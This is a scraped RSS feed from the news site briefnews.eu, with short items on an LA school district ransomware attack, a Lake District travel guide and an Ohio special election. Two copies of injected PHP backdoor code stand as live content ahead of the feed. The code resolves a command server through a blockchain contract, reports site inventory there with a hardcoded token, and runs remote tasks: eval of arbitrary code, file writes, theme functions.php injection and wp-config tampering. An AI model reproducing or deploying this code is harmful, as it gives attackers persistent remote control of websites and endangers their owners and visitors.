// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); district – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 10 Sep 2022 14:14:16 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png district – Brief News https://briefnews.eu 32 32 Hackers Target Los Angeles School District With Ransomware https://briefnews.eu/hackers-target-los-angeles-school-district-with-ransomware/ https://briefnews.eu/hackers-target-los-angeles-school-district-with-ransomware/#respond Sat, 10 Sep 2022 14:14:16 +0000 https://briefnews.eu/hackers-target-los-angeles-school-district-with-ransomware/ Plus: Albania cuts ties with Iran, claims of a TikTok data breach that didn’t happen, and much more.


https://media.wired.com/photos/631bd10a977791160bfcd219/master/pass/LAUSD-Ransomware-Security-GettyImages-1393843200.jpg

]]> https://briefnews.eu/hackers-target-los-angeles-school-district-with-ransomware/feed/ 0 Exploring the North Lakes: Lake District is a top destination for your winter staycation https://briefnews.eu/exploring-the-north-lakes-lake-district-is-a-top-destination-for-your-winter-staycation/ https://briefnews.eu/exploring-the-north-lakes-lake-district-is-a-top-destination-for-your-winter-staycation/#respond Mon, 19 Nov 2018 00:31:29 +0000 http://briefnews.eu/exploring-the-north-lakes-lake-district-is-a-top-destination-for-your-winter-staycation/

With rolling hills and vast stretches of water, it’s no surprise that holidaymakers from across the globe choose the Lake District for their summertime getaway.

As the winter rolls around, the dramatic scenery only gets more impressive: with incredible cloud formations being nestled within the breath-taking peaks.

Driving through this picturesque corner of England brings magnificent views of the valleys, as well as glimpses of the majestic waters.

But the north Lakes isn’t just known for its landscapes – with there being activities aplenty for adrenaline-searchers and culture-seekers alike.

Related articles

What to do

Keswick Climbing Wall

Just five minutes by car from the town centre of Keswick, Keswick Climbing Wall can be found close to the famous Castlerigg Stone Circle. Experts are on hand to offer guidance on activities ranging from kayaking and climbing to abseiling and archery.

While the team aren’t phased by wetter weather conditions, the selection of indoor options makes this spot a year-round favourite.

Lowther Castle

It may be a favourite for families in the summer, but this imposing 19th century castle is well-worth a visit whatever the time of year. Restored 10 years ago under the organisation of protector-in-chief Jim Lowther and his wife, creative director Vanessa Lowther, Lowther Castle has now been recognised with the title of Large Visitor Attraction of the Year in the Cumbria Tourism Awards 2018.

After catching a sight of the staggering castle from afar, learn about the story of Lowther in the indoor exhibition. Step outside, and you can explore the ruins for yourself, before taking a stroll in the majestic gardens – which retain their original 17th century plan.

Landscape historian and designer Dominic Cole, landscape designer Dan Pearson, and former head of the North West Development Agency and chairman of the Lowther Castle and Gardens Trust have all had hand in curating these extensive gardens – with notable spots including the Iris Garden, the new Rose Garden. But that’s not all the delights you’ll discover, as the Western Terrace viewpoints are home to incredible vistas across the Bampton Valley, with the River Lowther running below.

If you’re travelling with children in tow, then adventure awaits at The Lost Castle. This vast play area is made from 18,000 metres of sustainable timber – and with the structures suitable for youngsters and parents alike, exploring all it has to offer is sure to bring many joyous memories.

Insider tip: Warm up with a cup of something hot in the café in the courtyard following your visit, or, why not sample a homemade cake from the Into the Woods woodland hut while en-route around the gardens.

Lowther Castle boasts historic ruins and sweeping views across the valley

Lowther Castle boasts historic ruins and sweeping views across the valley (Image: LOWTHER CASTLE)

Ashness Bridge

Take a hike in the north lakes, and discover Ashness Bridge – overlooking Derwent Water (Image: BEN BARDEN • CUMBRIA TOURISM)

Lake District Wildlife Park

For a wild day out, get up close with animals at The Lake District Wildlife Park in Bassenthwaite, Keswick. The only Wildlife Park in the national park, here, you’ll find otter enrichment talks, Birds of Prey flying displays – not to mention encounters with reptiles.

For an extra special day out, it’s even possible to arrange an hour-long experience with hawks, lemurs and meerkats – and come Easter 2019, llamas. Sit and feed the animals in the enclosure, and hear all about their background and the best ways to care for the species. All experiences are suitable for those aged eight plus, while the Keeper Experience – which features a visit to the Lemurs, Meerkats, and Tapirs, is reserved for those over the age of 16.

Where to stay

North Lakes Spa Hotel, Penrith

Situated on the doorstep of the Lake District, the North Lakes Spa Hotel is not to be missed. With four stars to its name, the hotel boasts rural-inspired decor, high-quality spa facilities, and luxurious rooms.

Just moments from the M6, as well as being close to the town of Penrith, this hotel is easily-accessible for visitors from across the UK. Step through the doors to find the roaring fire in the spacious lounge area, and relax in the large bar close-by. The on-site restaurant, FYR, is one-of-a-kind – largely due to its impressive open fire grill that serves as a centrepiece, so guests can watch chefs cook up the delights in front of them.

Insider tip: When the weather is good, and the fire pit is lit, make sure you watch out for marshmallows to toast.

North Lakes Spa Hotel, Penrith

North Lakes Spa Hotel in Penrith boasts a welcoming entrance area (Image: JESSICA SHELDON)

Ullswater

The Lake District has stunning scenery throughout the year (Image: DAVE WILLIS • CUMBRIA TOURISM)

When it comes to getting some rest, rooms start from £100 per night, and have been furnished to a high standard. Complete with bathrobes and fresh milk, reclining in this rustic interior is sure to be special.

Plunge into the pool, make a splash in the jacuzzi, or spend some me-time in the sauna – the choice is yours. With hi-technology gym equipment and plenty of floor space to train on, working up a sweat in the fitness suite won’t seem too bad either.

Hazel Bank Hotel, Borrowdale

Tucked away in the unspoilt village of Borrowdale, six miles from Keswick, Hazel Bank Hotel promises a countryside escape like no other. The luxurious five star hotel was taken over by Gary and Donna McRae and their family in March 2013, and the pair are on hand to ensure your stay is one to remember. A hotspot for hikers, guests are greeted with a warm welcome, and can relax in comfortable, high quality en-suite bedrooms.

After a day of exploring the sights in the locality, enjoy a drop of sherry in your room, or sit by the roaring open fire in the canapé lounge. Guests gather here come evening time, and tuck into canapés before being invited to take seats in the dining room. Bespoke and intimate, it’s not hard to see why so many people return to Hazel Bank Hotel time and time again.

Prices per night for a room start at £75, with breakfast included. While you sample the hearty feast, keep an eye out for red squirrels in the garden, who may well be enjoying their own meal just metres away.

The food is prepared by Donna, a native to Borrowdale, as well as renowned local chef David Jackson. With fine presentation and exquisite flavour combinations, the four-course menus are nothing short of exceptional.

Located in the rural Lake District, there’s no shortage of walks to take from the grounds of Hazel Bank House. From Borrowdale, stroll towards the nearby village of Grange and pass the historic Millican Dalton’s Cave at Castle Crag – where the self-styled Professor of Adventure spent the summertime living here for 50 years.

Related articles

Hazel Bank Hotel

Hazel Bank Hotel can be found in the unspoilt village of Borrowdale (Image: HAZEL BANK HOTEL)

Bassenthwaite

Armathwaite Hall Hotel & Spa looks out onto the beautiful Bassenthwaite Lake (Image: JESSICA SHELDON)

Armathwaite Hall Hotel & Spa, Bassenthwaite

This striking hall sitting before Bassenthwaite Lake is steeped in history – with records being traced back to 1548, although a house is thought to have stood here since the 11th Century. No longer serving as a manor for aristocrats and the wealthy, now, Armathwaite Hall Hotel & Spa invites guests to experience the luxurious space for themselves.

Rooms currently begin at £170 per night, while studio suites come in at £450, with the accommodation coming complete with antique-style furnishings, a TV, and Egyptian cotton linen.

Situated amongst a 400 acre private deer park and woodland, the hotel boasts its own croquet lawn and tennis court for guests to use at their leisure – as well as the impressive Lake View Restaurant where smart dress is required, and the relaxed, rather more informal Courtyard Bar and Brasserie to dine in. With an extensive drinks menu, the Cocktail Bar exudes sophistication, with its plush furniture and art-adorned walls.

The Spa at Armathwaite Hall is nothing short of spectacular – with a 16 metre infinity edge pool, thermal suite, gym and exercise studio, and a seemingly endless range of treatments. But, it’s the alfresco hot tub – home to panoramas of the surrounding woodland – which really stands out.

Insider tip: As dusk falls, make sure a glass of bubbly in the hot tub is on your list of things to do.

The final verdict

Come rain or shine, the North Lakes ares of the Lake District has no shortage of places for you to make unforgettable memories. So, whether exploring captivating castles is your thing, or you’re more into a relaxing spa treatment, there’s every reason to book a getaway to the north Lakes this season.

Visit GoLakes.co.uk, operated by Cumbria Tourism, for more ideas and information.

Let’s block ads! (Why?)

]]> https://briefnews.eu/exploring-the-north-lakes-lake-district-is-a-top-destination-for-your-winter-staycation/feed/ 0 Trump-backed Republican Troy Balderson holds narrow special election lead over Democratic newcomer Danny O’Connor in deep-red Ohio district that Trump dominated in 2016 https://briefnews.eu/trump-backed-republican-troy-balderson-holds-narrow-special-election-lead-over-democratic-newcomer-danny-oconnor-in-deep-red-ohio-district-that-trump-dominated-in-2016/ https://briefnews.eu/trump-backed-republican-troy-balderson-holds-narrow-special-election-lead-over-democratic-newcomer-danny-oconnor-in-deep-red-ohio-district-that-trump-dominated-in-2016/#respond Wed, 08 Aug 2018 03:33:19 +0000 http://briefnews.eu/trump-backed-republican-troy-balderson-holds-narrow-special-election-lead-over-democratic-newcomer-danny-oconnor-in-deep-red-ohio-district-that-trump-dominated-in-2016/ Troy BaldersonAP Photo/John Minchillo

  • Trump-backed Republican Troy Balderson held a narrow lead over Democratic insurgent Danny O’Connor in Ohio’s 12th District special election on Tuesday night, leading the race by nearly 1,800 ballots.
  • A victory for Balderson was not unexpected in the deep-red district where Donald Trump won by 11 points in the 2016 presidential election, but the narrow margin is seen as a positive sign for Democrats who are working to reclaim a majority in one or both houses of Congress in November.
  • In the meantime, Balderson is expected to take the House seat abandoned by Republican Rep. Pat Tiberi, who announced his resignation in October, midway through his term.
